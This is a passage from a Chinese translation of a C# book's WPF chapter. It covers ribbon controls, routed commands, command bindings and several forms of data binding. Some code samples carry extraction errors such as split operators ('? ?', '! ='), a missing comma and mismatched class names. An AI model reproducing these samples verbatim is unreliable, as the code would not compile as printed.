Header="Show"> <RibbonButton LargeImageSource="Assets/one.png" Label="Book" /> <RibbonButton LargeImageSource="Assets/list.png" Label="Book List" /> <RibbonButton LargeImageSource="Assets/grid.png" Label="Book Grid" /> </RibbonGroup> </RibbonTab> 第二个RibbonTab元素仅用于演示可以在功能区控件中使用的不同控件,例如文本 框、复选框、组合框、微调按钮和图库元素。图34-14打开了这个选项卡。 <RibbonTab Header="Ribbon Controls"> <RibbonGroup Header="Sample"> <RibbonButton Label="Button" /> <RibbonCheckBox Label="Checkbox" /> <RibbonComboBox Label="Combo1"> <Label>One</Label> <Label>Two</Label> </RibbonComboBox> <RibbonTextBox>Text Box </RibbonTextBox> <RibbonSplitButton Label="Split Button"> <RibbonMenuItem Header="One" /> <RibbonMenuItem Header="Two" /> </RibbonSplitButton> <RibbonComboBox Label="Combo2" IsEditable="False"> <RibbonGallery SelectedValuePath="Content" MaxColumnCount="1" SelectedValue="Green"> <RibbonGalleryCategory> <RibbonGalleryItem Content="Red" Foreground="Red" /> <RibbonGalleryItem Content="Green" Foreground="Green" /> <RibbonGalleryItem Content="Blue" Foreground="Blue" /> </RibbonGalleryCategory> </RibbonGallery> </RibbonComboBox> </RibbonGroup> </RibbonTab> 图34-14 34.6 Commanding Commanding是一个WPF概念,它在动作源(如按钮)和执行动作的目标(如处理程 序方法)之间创建松散耦合。这个概念基于Gang of Four中的命令模式。在WPF中,事件 是紧密耦合的。编译包含事件引用的XAML代码,要求代码隐藏已实现一个处理程序方 法,且在编译期间可用。而对于命令,这个耦合是松散的。  注意: 命令模式是一种行为设计模式,它分离客户和命令的接收者,更便于 进行单元测试。 要执行的动作用命令对象定义。命令实现ICommand接口。WPF使用的命令类是 RoutedCommand及其派生类RoutedUICommand。RoutedUICommand类定义一个ICommand 接口未定义的附加Text属性,这个属性可以在用户界面中用作文本信息。ICommand定义 Execute()和CanExecute()方法,它们都在目标对象上执行。 命令源是调用命令的对象。命令源实现ICommandSource接口。这种命令源的例子有 派生自ButtonBase的按钮类、Hyperlink和InputBinding。KeyBinding和MouseBinding是派生 自InputBinding的类。命令源有一个Command属性,其中可以指定实现ICommand接口的命 令对象。在使用控件(如单击按钮)时,这会激活命令。 命令目标是实现了处理程序的对象,用于执行动作。通过命令绑定,定义一个映射, 把处理程序映射到命令上。命令绑定指定在命令上调用哪个处理程序。命令绑定通过 UIElement类中实现的CommandBinding属性来定义。因此派生自UIElement的每个类都有 CommandBinding属性。这样,查找映射的处理程序就是一个层次化的过程。例如,在 StackPanel中定义的一个按钮可以激活命令,而StackPanel位于ListBox中,ListBox位于 Grid中。处理程序在该树型结构的某个位置上通过命令绑定来指定,如Window的命令绑 定。下面修改BooksDemoRibbon项目的实现方式,改为使用命令替代事件模型。 34.6.1 定义命令 .NET提供了返回预定义命令的类。ApplicationCommands类定义了静态属性New、 Open、Close、Print、Cut、Copy、Paste等。这些属性返回可用于特殊目的的 RoutedUICommand对象。提供了命令的其他类有NavigationCommands和 MediaCommands。NavigationCommands提供了用于导航的常见命令,如GoToPage、 NextPage和PreviousPage, MediaCommand提供的命令可用于运行媒体播放器,媒体播放器 包含Play、Pause、Stop、Rewind和Record等按钮。 定义执行应用程序域的特定动作的自定义命令并不难。为此,创建一个 BooksCommands类,它通过ShowBook和ShowBookslist属性返回一个RoutedUICommand。 也可以给命令指定一个输入手势,如KeyGesture或MouseGesture。这里指定一个 KeyGesture,用Alt修饰符定义B键。因为输入手势是命令源,所以按Alt+B组合键会调用 该命令(代码文件BooksDemoLib/Commands/BooksCommands.cs): public static class BooksCommands { private static RoutedUICommand s_showBook; public static ICommand ShowBook => s_showBook ? ? (s_showBook = new RoutedUICommand("Show Book", nameof(ShowBook), typeof(BooksCommands))); private static RoutedUICommand s_showBooksList; public static ICommand ShowBooksList { get { if (s_showBooksList == null) { s_showBooksList = new RoutedUICommand("Show Books", nameof(ShowBooksList), typeof(BooksCommands)); s_showBooksList.InputGestures.Add(new KeyGesture(Key.B, ModifierKeys.Alt)); } return s_showBooksList; } } // etc. } 34.6.2 定义命令源 每个实现ICommandSource接口的类都可以是命令源,如Button和MenuItem。在前面 创建的功能区控件中,把Command属性赋予几个RibbonButton元素,例如快速访问工具 栏,如下所示(代码文件BooksDemoRibbon/MainWindow.xaml): <Ribbon.QuickAccessToolBar> <RibbonQuickAccessToolBar> <RibbonButton SmallImageSource="Assets/one.png" Command="local:BooksCommands.ShowBook" /> <RibbonButton SmallImageSource="Assets/list.png" Command="local:BooksCommands.ShowBooksList" /> </RibbonQuickAccessToolBar> </Ribbon.QuickAccessToolBar> 一些预定义的命令,例如ApplicationCommands.Cut、Copy和Paste也赋予RibbonButton 元素的Command属性,对于预定义的命令,使用简写表示法: <RibbonGroup Header="Clipboard"> <RibbonButton Command="Paste" Label="Paste" LargeImageSource="Images/paste.png" /> <RibbonButton Command="Cut" SmallImageSource="Images/cut.png" /> <RibbonButton Command="Copy" SmallImageSource="Images/copy.png" /> <RibbonButton Command="Undo" LargeImageSource="Images/undo.png" /> </RibbonGroup> 34.6.3 命令绑定 必须添加命令绑定,才能把它们连接到处理程序方法上。这里在Window元素中定义 命令绑定,这样这些绑定就可用于窗口中的所有元素。执行ApplicationCommands.Close命 令时,会调用OnClose()方法。执行BooksCommands.ShowBooks命令时,会调用 OnShowBooks()方法(代码文件BooksDemoRibbon/MainWindow.xaml): <Window.CommandBindings> <CommandBinding Command="Close" Executed="OnClose" /> <CommandBinding Command="commands:BooksCommands.ShowBooksList" Executed="OnShowBooksList" /> </Window.CommandBindings> 通过命令绑定,还可以指定CanExecute属性,在该属性中,会调用一个方法来验证命 令是否可用。例如,如果文件没有变化,ApplicationCommands.Save命令就是不可用的。 需要用两个参数定义处理程序,它们分别是sender的object和可以从中访问命令信息 的ExecutedRoutedEventArgs(代码文件BooksDemoRibbon/MainWindow.xaml.cs): private void OnClose(object sender, ExecutedRoutedEventArgs e) { Application.Current.Shutdown(); }  注意: 还可以通过命令传递参数。为此,可以通过命令源(如MenuItem)指 定CommandParameter属性。使用ExecutedRoutedEventArgs的Parameter属性可以访问该 参数。 命令绑定也可以通过控件来定义。TextBox控件给ApplicationCommands.Cut、 Application-Commands.Copy、ApplicationCommands.Paste和ApplicationCommands.Undo定 义了绑定。这样,就只需要指定命令源,并使用TextBox控件中的已有功能。 34.7 数据绑定 与以前的技术相比,WPF数据绑定向前迈了一大步。数据绑定把数据从.NET对象传 递给UI,或从UI传递给.NET对象。简单对象可以绑定到UI元素、对象列表和XAML元素 上。在WPF数据绑定中,目标可以是WPF元素的任意依赖属性,CLR对象的每个属性都 可以是绑定源。因为WPF元素作为.NET类实现,所以每个WPF元素也可以用作绑定源。 图34-15显示了绑定源和绑定目标之间的连接。Binding对象定义了该连接。 图34-15 Binding对象支持源与目标之间的几种绑定模式。绑定可以是单向的,即从源信息指 向目标,但如果用户在用户界面上修改了该信息,则源不会更新。要更新源,需要双向绑 定。 表34-7列出了绑定模式及其要求。 表34-7 绑定模式 说明 一次性 绑定从源指向目标,且仅在应用程序启动时,或数据环境改 变时绑定一次。通过这种模式可以获得数据的快照 单向 绑定从源指向目标。这对于只读数据很有用,因为它不能从 用户界面中修改数据。要更新用户界面,源必须实现 INotifyPropertyChanged接口 双向 在双向绑定中,用户可以从UI中修改数据。绑定是双向的 ——从源指向目标,从目标指向源。源对象需要实现读写属 性,才能把改动的内容从UI更新到源对象上 指向源的单向 采用这种绑定模式,如果目标属性改变,源对象也会更新 除了绑定模式之外,WPF数据绑定还涉及许多方面。本节详细介绍与XAML元素、简 单的.NET对象和列表的绑定。通过更改通知,可以使用绑定对象中的更改更新UI。本节 还会讨论从对象数据提供程序中获取数据和直接从代码中获取数据。多绑定和优先绑定说 明了与默认绑定不同的绑定可能性,本节也将论述如何动态地选择数据模板,以及绑定值 的验证。 下面从BooksDemoRibbon示例应用程序开始。 34.7.1 BooksDemo应用程序内容 上一节在BooksDemoLib和BooksDemoRibbon项目中定义了一个功能区和命令,现在 添加内容。修改XAML文件MainWindow.xaml,并添加ListBox、Hyperlink和 TabControl(代码文件BooksDemoRibbon/MainWindow.xaml)。 <ListBox DockPanel.Dock="Left" Margin="5" MinWidth="120"> <Hyperlink Command="local:BooksCommand.ShowBook">Show Book</Hyperlink> </ListBox> <TabControl Margin="5" x:Name="tabControl1"> </TabControl> 现在添加一个WPF用户控件BookUC。这个用户控件包含一个DockPanel、一个几行几 列的Grid、一个Label和多个TextBox控件(代码文件BooksDemoRibbon// Controls/BookUC.xaml): <UserControl x:Class="Wrox.ProCSharp.WPF.BookUC" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" mc:Ignorable="d" d:DesignHeight="300" d:DesignWidth="300"> <DockPanel> <Grid> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition Width="Auto" /> <ColumnDefinition Width="*" /> </Grid.ColumnDefinitions> <Label Content="Title" Grid.Row="0" Grid.Column="0" Margin="10,0,5,0" HorizontalAlignment="Left" VerticalAlignment="Center" /> <Label Content="Publisher" Grid.Row="1" Grid.Column="0" Margin="10,0,5,0" HorizontalAlignment="Left" VerticalAlignment="Center" /> <Label Content="Isbn" Grid.Row="2" Grid.Column="0" Margin="10,0,5,0" HorizontalAlignment="Left" VerticalAlignment="Center" /> <TextBox Grid.Row="0" Grid.Column="1" Margin="5" /> <TextBox Grid.Row="1" Grid.Column="1" Margin="5" /> <TextBox Grid.Row="2" Grid.Column="1" Margin="5" /> <StackPanel Grid.Row="3" Grid.Column="0" Grid.ColumnSpan="2"> <Button Content="Show Book" Margin="5" Click="OnShowBook" /> </StackPanel> </Grid> </DockPanel> </UserControl> 在MainWindow.xaml.cs的OnShowBook处理程序中,新建BookUC用户控件的一个实 例,给TabControl添加一个新的TabItem。接着修改TabControl的SelectedIndex属性,以打 开新的选项卡(代码文件BooksDemoLib/MainWindow.xaml.cs): private void OnShowBook(object sender, ExecutedRoutedEventArgs e) { var bookUI = new BookUC(); this.tabControl1.SelectedIndex = this.tabControl1.Items.Add( new TabItem { Header = "Book", Content = bookUI }); } 构建项目后,就可以启动应用程序,单击超链接,打开TabControl中的用户控件。 34.7.2 用XAML绑定 WPF元素不仅是数据绑定的目标,它还可以是绑定的源。可以把一个WPF元素的源 属性绑定到另一个WPF元素的目标属性上。 在下面的代码示例中,使用数据绑定通过一个滑块重置用户控件中控件的大小。给用 户控件BookUC添加一个StackPanel控件,该StackPanel控件包含一个标签和一个Slider控 件。Slider控件定义了Minimum和Maximum值,以指定缩放比例,把其初始值1赋予Value 属性(代码文件BooksDemoLib/BookUC.xaml): <DockPanel> <StackPanel DockPanel.Dock="Bottom" Orientation="Horizontal" HorizontalAlignment="Right"> <Label Content="Resize" /> <Slider x:Name="slider1" Value="1" Minimum="0.4" Maximum="3" Width="150" HorizontalAlignment="Right" /> </StackPanel> 设置Grid控件的LayoutTransform属性,并添加一个ScaleTransform元素。通过 ScaleTransform元素,对ScaleX和ScaleY属性进行数据绑定。这两个属性都用Binding标记 扩展来设置。在Binding标记扩展中,把ElementName设置为slider1,以引用前面创建的 Slider控件。把Path属性设置为Value,从Value属性中获取滑块的值。 <Grid> <Grid.LayoutTransform> <ScaleTransform x:Name="scale1" ScaleX="{Binding Path=Value, ElementName=slider1}" ScaleY="{Binding Path=Value, ElementName=slider1}" /> </Grid.LayoutTransform> 运行应用程序时,可以移动滑块,从而重置Grid中的控件,如图34-16和图34-17所 示。 图34-16 图34-17 除了用XAML代码定义绑定信息之外,如上述代码使用Binding元数据扩展来定义, 还可以使用代码隐藏。在代码隐藏中,必须新建一个Binding对象,并设置Path和Source属 性。必须把Source属性设置为源对象,这里是WPF对象slider1。把Path属性设置为一个 PropertyPath实例,它用源对象的Value属性名进行初始化。对于派生自FrameworkElement 的控件,可以调用SetBinding()方法来定义绑定。但是,ScaleTransform不派生自 FrameworkElement,而派生自Freezable基类。使用辅助类BindingOperations可以绑定这类 控件。BindingOperations类的SetBinding()方法需要一个DependencyObject,在本例中是 ScaleTransform实例。对于第二和第三个参数,SetBinding()方法还需要绑定目标的 dependency属性和Binding对象。 var binding = new Binding { Path = new PropertyPath("Value"), Source = slider1 }; BindingOperations.SetBinding(scale1, ScaleTransform.ScaleXProperty, binding); BindingOperations.SetBinding(scale1, ScaleTransform.ScaleYProperty, binding);  注意: 派生自DependencyObject的所有类都可以有依赖属性。依赖属性参见 第29章。 使用Binding类,可以配置许多绑定选项,如表34-8所示。 表34-8 Binding类成员 说明 Source 使用Source属性,可以定义数据绑定的源对象 RelativeSource 使用RelativeSource属性,可以指定与目标对象相关的源对 象。当错误来源于同一个控件时,它对于显示错误消息很有 用 ElementName 如果源对象是一个WPF元素,就可以用ElementName属性指 定源对象 Path 使用Path属性,可以指定到源对象的路径。它可以是源对象 的属性,但也支持子元素的索引器和属性 XPath 使用XML数据源时,可以定义一个XPath查询表达式,来获 得要绑定的数据 Mode 模式定义了绑定的方向。Mode属性是BindingMode类型。 BindingMode是一个枚举,其值如下:Default、OneTime、 OneWay、TwoWay和OneWayToSource。默认模式依赖于目 标:对于文本框,默认是双向绑定;对于只读的标签,默认 为单向。OneTime表示数据仅从源中加载一次;OneWay将 对源对象的修改更新到目标对象中。TwoWay绑定表示,对 WPF元素的修改可以写回源对象中。OneWayToSource表 示,从不读取数据,但总是从目标对象写入源对象中 Converter 使用Converter属性,可以指定一个转换器类,该转换器类来 回转换UI的数据。转换器类必须实现IValueConverter接口, 它定义了Convert()和ConvertBack()方法。使用 ConverterParameter属性可以给转换方法传递参数。转换器 区分区域性,区域性可以用ConverterCultrue属性设置 FallbackValue 使用FallbackValue属性,可以定义一个在绑定没有返回值时 使用的默认值 ValidationRules 使用ValidationRules属性,可以定义一个ValidationRule对象 集合,在从WPF目标元素更新源对象之前检查该集合。 ExceptionValidationRule类派生自ValidationRule类,负责检 查异常 Delay 这个属性是WPF 4.5新增的,它可以指定更新绑定源之前等 待的时间。在开始验证之前,希望给用户一些时间来输入更 多的字符时,就可以使用这个属性 34.7.3 简单对象的绑定 要绑定CLR对象,只需要使用.NET类定义属性,如下面的例子就使用Book类定义了 Title、Publisher、Isbn和Authors属性。这个类在BooksDemoLib项目的Models文件夹中(代 码文件BooksDemoLib/Models/Book.cs)。 using System.Collections.Generic; namespace BooksDemo.Models { public class Book { public Book(string title, string publisher, string isbn, params string[] authors) { Title = title; Publisher = publisher; Isbn = isbn; Authors = authors; } public Book() : this("unknown", "unknown", "unknown") { } public string Title { get; set; } public string Publisher { get; set; } public string Isbn { get; set; } public string[] Authors { get; } public override string ToString() => Title; } } 在用户控件BookUC的XAML代码中,定义了几个标签和TextBox控件,以显示图书信 息。使用Binding标记扩展,将TextBox控件绑定到Book类的属性上。在Binding标记扩展 中,仅定义了Path属性,将它绑定到Book类的属性上。不需要定义源对象,因为通过指定 DataContext来定义源对象,如下面的代码隐藏所示。对于TextBox元素,模式定义为其默 认值,即双向绑定(代码文件BooksDemoLib/Controls/BookUC.xaml): <TextBox Text="{Binding Title}" Grid.Row="0" Grid.Column="1" Margin="5" /> <TextBox Text="{Binding Publisher}" Grid.Row="1" Grid.Column="1" Margin="5" /> <TextBox Text="{Binding Isbn}" Grid.Row="2" Grid.Column="1" Margin="5" /> 在代码隐藏中定义一个新的Book对象,并将其赋予用户控件的DataContext属性。 DataContext是一个依赖属性,它用基类FrameworkElement定义。指定用户控件的 DataContext属性表示,用户控件中的每个元素都默认绑定到同一个数据上下文上(代码 文件BooksDemoRibbon/MainWindow. xaml.cs)。 private void OnShowBook(object sender, ExecutedRoutedEventArgs e) { var bookUI = new BookUC(); bookUI.DataContext = new Book { Title = "Professional C# 5.0 and .NET 4.5.1" Publisher = "Wrox Press", Isbn = "978-0-470-50225-9" }; this.tabControl1.SelectedIndex = this.tabControl1.Items.Add( new TabItem { Header = "Book", Content = bookUI }); } 启动应用程序后,就会看到图34-18所示的绑定数据。 图34-18 为了实现双向绑定(对输入的WPF元素的修改反映到CLR对象中),实现了用户控件 中按钮的Click事件处理程序——OnShowBook()方法。在实现时,会弹出一个消息框, 显示book1对象的当前标题和ISBN号。图34-19显示了在运行应用程序时用户输入 Professional C# 6后消息框的输出(代码文件BooksDemoLib/Controls/BookUC.xaml.cs)。 图34-19 private void OnShowBook(object sender, RoutedEve ntArgs e) { Book theBook = this.DataContext as Book; if (theBook ! = null) { MessageBox.Show(theBook.Title, theBook.Isbn) ; } } 34.7.4 更改通知 使用当前的双向绑定,可以读写对象中的数据。但如果数据不由用户修改,而是直接 在代码中修改,用户界面就接收不到更改信息。只要在用户控件中添加一个按钮,并实现 Click事件处理程序OnChangeBook,就可以验证这一点(代码文件 BooksDemoLib/Controls/BookUC.xaml)。 <StackPanel Grid.Row="3" Grid.Column="0" Grid.ColumnSpan="2" Orientation="Horizontal" HorizontalAlignment="Center"> <Button Content="Show Book" Margin="5" Click="OnShowBook" /> <Button Content="Change Book" Margin="5" Click="OnChangeBook" /> </StackPanel> 在处理程序的实现代码中,数据上下文中的图书变化了,但用户界面没有显示这个变 化(代码文件BooksDemoLib/Controls/BookUC.xaml.cs)。 private void OnChangeBook(object sender, RoutedEventArgs e) { Book theBook = this.DataContext as Book; if (theBook ! = null) { theBook.Title = "Professional C# 6"; theBook.Isbn = "978-0-470-31442-5"; } } 为了把更改信息传递给用户界面,实体类必须实现INotifyPropertyChanged接口。这里 不是实现每个需要这个接口的类,而只需要创建BindableObject抽象基类。这个基类实现 了接口INotifyPropertyChanged。该接口定义了PropertyChanged事件,该事件在 OnPropertyChanged方法中触发。为了便于在派生类的属性设置器中触发该事件, SetProperty方法修改了该属性,调用OnPropertyChanged方法,来触发该事件。这个方法在 C#中通过CallerMemberName属性来使用调用者信息。propertyName参数通过这个属性定 义为可选参数,C#编译器就会通过这个参数传递属性名,所以不需要在代码中添加硬编 码字符串(代码文件BooksDemoLib/Models/BindableObject.cs): using System.Collections.Generic; using System.ComponentModel; using System.Runtime.CompilerServices; namespace BooksDemo.Model { public abstract class BindableObject : INotifyPropertyChanged { public event PropertyChangedEventHandler PropertyChanged; protected void OnPropertyChanged(string propertyName) { PropertyChanged? .Invoke(this, new PropertyChangedEventArgs(propertyName)); } protected void SetProperty<T>(ref T item, T value, [CallerMemberName] string propertyName = null) { if (! EqualityComparer<T>.Default.Equals(item, value)) { item = value; OnPropertyChanged(propertyName); } } } }  注意: 调用者信息参见第14章。 类Book现在改为派生自基类BindableObject,来继承INotifyPropertyChanged接口的实 现代码。属性设置器改为调用SetProperty方法,如下所示(代码文件 BooksDemoLib/Data/Book.cs): using System.ComponentModel; using System.Collections.Generic; namespace Wrox.ProCSharp.WPF.Data { public class Book : BindableObject { public Book(string title, string publisher, string isbn, params string[] authors) { Title = title; Publisher = publisher; Isbn = isbn; Authors = authors; } public Book() : this("unknown", "unknown", "unknown") { } private string _title; public string Title { get { return _title; } set { SetProperty(ref _title, value); } } private string _publisher; public string Publisher { get { return _publisher; } set { SetProperty(ref _publisher, value); } } private string _isbn; public string Isbn { get { return _isbn; } set { SetProperty(ref _isbn, value); } } public string[] Authors { get; } public override string ToString() => Title; } } 进行了这个修改后,就可以再次启动应用程序,以验证用户界面从事件处理程序中接 收到更改信息。 34.7.5 对象数据提供程序 除了在代码隐藏中实例化对象之外,还可以用XAML定义对象实例。为了在XAML中 引用代码隐藏中的类,必须引用在XML根元素中声明的名称空间。XML特性 xmlns:local=“clr-namespace:Wrox.ProCSharp.WPF”将.NET名称空间Wrox.ProCSharp.WPF赋 予XML名称空间别名local。 现在,在DockPanel资源中用Book元素定义Book类的一个对象。给XML特性Title、 Publisher和Isbn赋值,就可以设置Book类的属性值。x:Key="theBook"定义了资源的标识 符,以便引用book对象: <UserControl x:Class="BooksDemo.BookUC" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:local="clr-namespace:Wrox.ProCSharp.WPF.Data" mc:Ignorable="d" d:DesignHeight="300" d:DesignWidth="300"> <DockPanel> <DockPanel.Resources> <local:Book x:Key="theBook" Title="Professional C# 5.0 and .NET 4.5.1" Publisher="Wrox Press" Isbn="978-1-118-83303-2" /> </DockPanel.Resources>  注意: 如果要引用的.NET名称空间在另一个程序集中,就必须把该程序集添 加到XML声明中。 xmlsn:sys="clr-namespace:System; assembly=mscorlib" 在TextBox元素中,用Binding标记扩展定义Source, Binding标记扩展引用theBook资 源。 <TextBox Text="{Binding Path=Title, Source={StaticResource theBook}}" Grid.Row="0" Grid.Column="1" Margin="5" /> <TextBox Text="{Binding Path=Publisher, Source={StaticResource theBook}}" Grid.Row="1" Grid.Column="1" Margin="5" /> <TextBox Text="{Binding Path=Isbn, Source={StaticResource theBook}}" Grid.Row="2" Grid.Column="1" Margin="5" /> 因为所有TextBox元素都包含在同一个控件中,所以可以用父控件指定DataContext属 性,用TextBox绑定元素设置Path属性。因为Path属性是默认的,所以也可以在下面的代 码中删除Binding标记扩展: <Grid x:Name="grid1" DataContext="{StaticResource theBook}"> <! -- ... --> <TextBox Text="{Binding Title}" Grid.Row="0" Grid.Column="1" Margin="5" /> <TextBox Text="{Binding Publisher}" Grid.Row="1" Grid.Column="1" Margin="5" /> <TextBox Text="{Binding Isbn}" Grid.Row="2" Grid.Column="1" Margin="5" /> 除了直接在XAML代码中定义对象实例外,还可以定义一个对象数据提供程序,该提 供程序引用类,以调用方法。为了使用ObjectDataProvider,最好创建一个返回要显示的对 象的工厂类,如下面的BooksRepository类所示(代码文件 BooksDemoLib/Models/BooksRepository.cs): using System.Collections.Generic; namespace BooksDemo.Models { public class BooksRepository { private List<Book> books = new List<Book>(); public BooksRepository() { books.Add(new Book { Title = "Professional C# 5.0 and .NET 4.5.1", Publisher = "Wrox Press", Isbn = "978-1-118-83303-2" }); } public Book GetTheBook() => books[0]; } } ObjectDataProvider元素可以在资源部分中定义。XML特性ObjectType定义了类的名 称,MethodName指定了获得book对象要调用的方法的名称(代码文件 BooksDemoLib/Controls/BookUC.xaml): <DockPanel.Resources> <ObjectDataProvider x:Key="theBook" ObjectType="local:BooksRepository" MethodName="GetTheBook" /> </DockPanel.Resources> 用ObjectDataProvider类指定的属性如表34-9所示。 表34-9 ObjectDataProvider 说明 ObjectType ObjectType属性定义了要创建的实例类型 ConstrutorParameters 使用ConstructorParameters集合可以在类中添加创建实例的 参数 MethodName MethodName属性定义了由对象数据提供程序调用的方法的 名称 MethodParameters 使用MethodParameters属性,可以给通过MethodName属性 定义的方法指定参数 ObjectInstance 使用ObjectInstance属性,可以获取和设置由 ObjectDataProvider类使用的对象。例如,可以用编程方式指 定已有的对象,而不是定义ObjectType以便用 ObjectDataProvider实例化一个对象 Data 使用Data属性,可以访问用于数据绑定的底层对象。如果定 义了MethodName,则使用Data属性,可以访问从指定的方 法返回的对象 34.7.6 列表绑定 绑定到列表上比绑定到简单对象上更常见,这两种绑定非常类似。可以从代码隐藏中 将完整的列表赋予DataContext,也可以使用ObjectDataProvider访问一个对象工厂,以返 回一个列表。对于支持绑定到列表上的元素(如列表框),会绑定整个列表。对于只支持 绑定一个对象上的元素(如文本框),只绑定当前项。 使用BooksRepository类,现在返回一个Book对象列表(代码文件 BooksDemoLib/Models/BooksRepository. cs): public class BooksRepository { private List<Book> _books = new List<Book>(); public BooksRepository() { _books.Add(new Book("Professional C# 5.0 and .NET 4.5.1", "Wrox Press", "978-1-118-83303-2", "Christian Nagel", "Jay Glynn", "Morgan Skinner")); _books.Add(new Book("Professional C# 2012 and .NET 4.5", "Wrox Press", "978-0-470-50225-9", "Christian Nagel", "Bill Evjen", "Jay Glynn", "Karli Watson", "Morgan Skinner")); _books.Add(new Book("Professional C# 4 with .NET 4", "Wrox Press", "978¨C0-470-19137-8", "Christian Nagel", "Bill Evjen", "Jay Glynn", "Karli Watson", "Morgan Skinner")); _books.Add(new Book("Beginning Visual C# 2010", "Wrox Press", "978-0-470-50226-6", "Karli Watson", "Christian Nagel", "Jacob Hammer Pedersen", "Jon D. Reid", "Morgan Skinner", "Eric White")); _books.Add(new Book("Windows 8 Secrets", "Wiley", "978-1-118-20413-9", "Paul Thurrott", "Rafael Rivera")); _books.Add(new Book("C# 5 All-in-One for Dummies", "For Dummies", "978-1-118-38536-5", "Bill Sempf", "Chuck Sphar")); } public IEnumerable<Book> GetBooks() => _books; } 要使用列表,应新建一个BooksUC用户控件。这个控件的XAML代码包含的标签和文 本框控件可以显示一本书的值,它包含的列表框控件可以显示一个图书列表。 ObjectDataProvider调用BookFactory的GetBooks()方法,这个提供程序用于指定 DockPanel的DataContext。DockPanel把绑定的列表框和文本框作为其子控件。列表框和文 本框都通过数据绑定使用DockPanel的DataContext(代码文件 BooksDemoLib/Controls/BooksUC.xaml)。 <UserControl x:Class="Wrox.ProCSharp.WPF.BooksUC" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006 " xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:local="clr-namespace:Wrox.ProCSharp.WPF.Data" mc:Ignorable="d" d:DesignHeight="300" d:DesignWidth="300"> <UserControl.Resources> <ObjectDataProvider x:Key="books" ObjectType="local:BookFactory" MethodName="GetBooks" /> </UserControl.Resources> <DockPanel DataContext="{StaticResource books}"> <ListBox DockPanel.Dock="Left" ItemsSource="{Binding}" Margin="5" MinWidth="120" /> <Grid> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition Width="Auto" /> <ColumnDefinition Width="*" /> </Grid.ColumnDefinitions> <Label Content="Title" Grid.Row="0" Grid.Column="0" Margin="10,0,5,0" HorizontalAlignment="Left" VerticalAlignment="Center" /> <Label Content="Publisher" Grid.Row="1" Grid.Column="0" Margin="10,0, 5,0" HorizontalAlignment="Left" VerticalAlignment="Center" /> <Label Content="Isbn" Grid.Row="2" Grid.Column="0" Margin="10,0,5,0" HorizontalAlignment="Left" VerticalAlignment="Center" /> <TextBox Text="{Binding Title}" Grid.Row="0" Grid.Column="1" Margin=" 5" /> <TextBox Text="{Binding Publisher}" Grid.Row="1" Grid.Column="1" Margin="5" /> <TextBox Text="{Binding Isbn}" Grid.Row="2" Grid.Column="1" Margin="5 " /> </Grid> </DockPanel> </UserControl> 新的用户控件通过给MainWindow.xaml添加一个Hyperlink来启动。它使用Command 属性来指定ShowBooks命令。该命令绑定必须也指定为调用OnShowBooksList事件处理程 序(代码文件BooksDemoRibbon/MainWindow.xaml): <ListBox DockPanel.Dock="Left" Margin="5" MinWidth="120"> <ListBoxItem> <Hyperlink Command="local:BooksCommands.ShowBook">Show Book</Hyperlink> </ListBoxItem> <ListBoxItem> <Hyperlink Command="local:ShowCommands.ShowBooksList"> Show Books List</Hyperlink> </ListBoxItem> </ListBox> 事件处理程序的实现代码给TabControl添加一个新的TabItem控件,把Content指定为 用户控件BooksUC,将TabControl的选择设置为新建的TabItem(代码文件 BooksDemoRibbon/MainWindow. xaml.cs): private void OnShowBooksList(object sender, ExecutedRoutedEventArgs e) { var booksUI = new BooksUC(); this.tabControl1.SelectedIndex = this.tabControl1.Items.Add( new TabItem { Header="Books List", Content=booksUI}); } 因为DockPanel将Book数组赋予DataContext,列表框放在DockPanel中,所以列表框会 用默认模板显示所有图书,如图34-20所示。 图34-20 为了使列表框有更灵活的布局,必须定义一个模板,就像第33章为列表框定义样式那 样。列表框的ItemTemplate定义了一个带标签元素的DataTemplate。标签的内容绑定到 Title上。列表项模板重复应用于列表中的每一项,当然也可以把列表项模板添加到资源内 部的样式中。 <ListBox DockPanel.Dock="Left" ItemsSource="{Binding}" Margin="5" MinWidth="120"> <ListBox.ItemTemplate> <DataTemplate> <Label Content="{Binding Title}" /> </DataTemplate> </ListBox.ItemTemplate> </ListBox> 34.7.7 主从绑定 除了显示列表中的所有元素之外,还应能显示选中项的详细信息。这不需要做太多的 工作。标签和文本框控件已经定义好了,当前它们只显示列表中的第一个元素。 这里必须对列表框进行一个重要的修改。在默认情况下,把标签绑定到列表的第一个 元素上。设置列表框的属性IsSynchronizedWithCurrentItem =“True”,就会把列表框的选项 设置为当前项(代码文件BooksDemoLib/Controls/BooksUC.xaml)。 <ListBox DockPanel.Dock="Left" ItemsSource="{Binding}" Margin="5" MinWidth="120" IsSynchronizedWithCurrentItem="True" > <ListBox.ItemTemplate> <DataTemplate> <Label Content="{Binding Title}" /> </DataTemplate> </ListBox.ItemTemplate> </ListBox> 34.7.8 多绑定 Binding是可用于数据绑定的类之一。BindingBase是所有绑定的抽象基类,有不同的 具体实现方式。除了Binding之外,还有MultiBinding和PriorityBinding。MultiBinding允许 把一个WPF元素绑定到多个源上。例如,Person类有LastName和FirstName属性,把这两 个属性绑定到一个WPF元素上会比较有趣(代码文件MultiBindingSample/Person.cs): public class Person { public string FirstName { get; set; } public string LastName { get; set; } } 对于MultiBinding,标记扩展不可用——因此必须用XAML元素语法来指定绑定。 MultiBinding的子元素是指定绑定到各种属性上的Binding元素。这里使用了LastName和 FirstName属性。数据上下文用Grid元素设置,以便引用person1资源。 为了把属性连接在一起,MultiBinding使用一个Converter把多个值转换为一个。这个 转换器使用一个参数,并可以根据参数进行不同的转换(代码文件 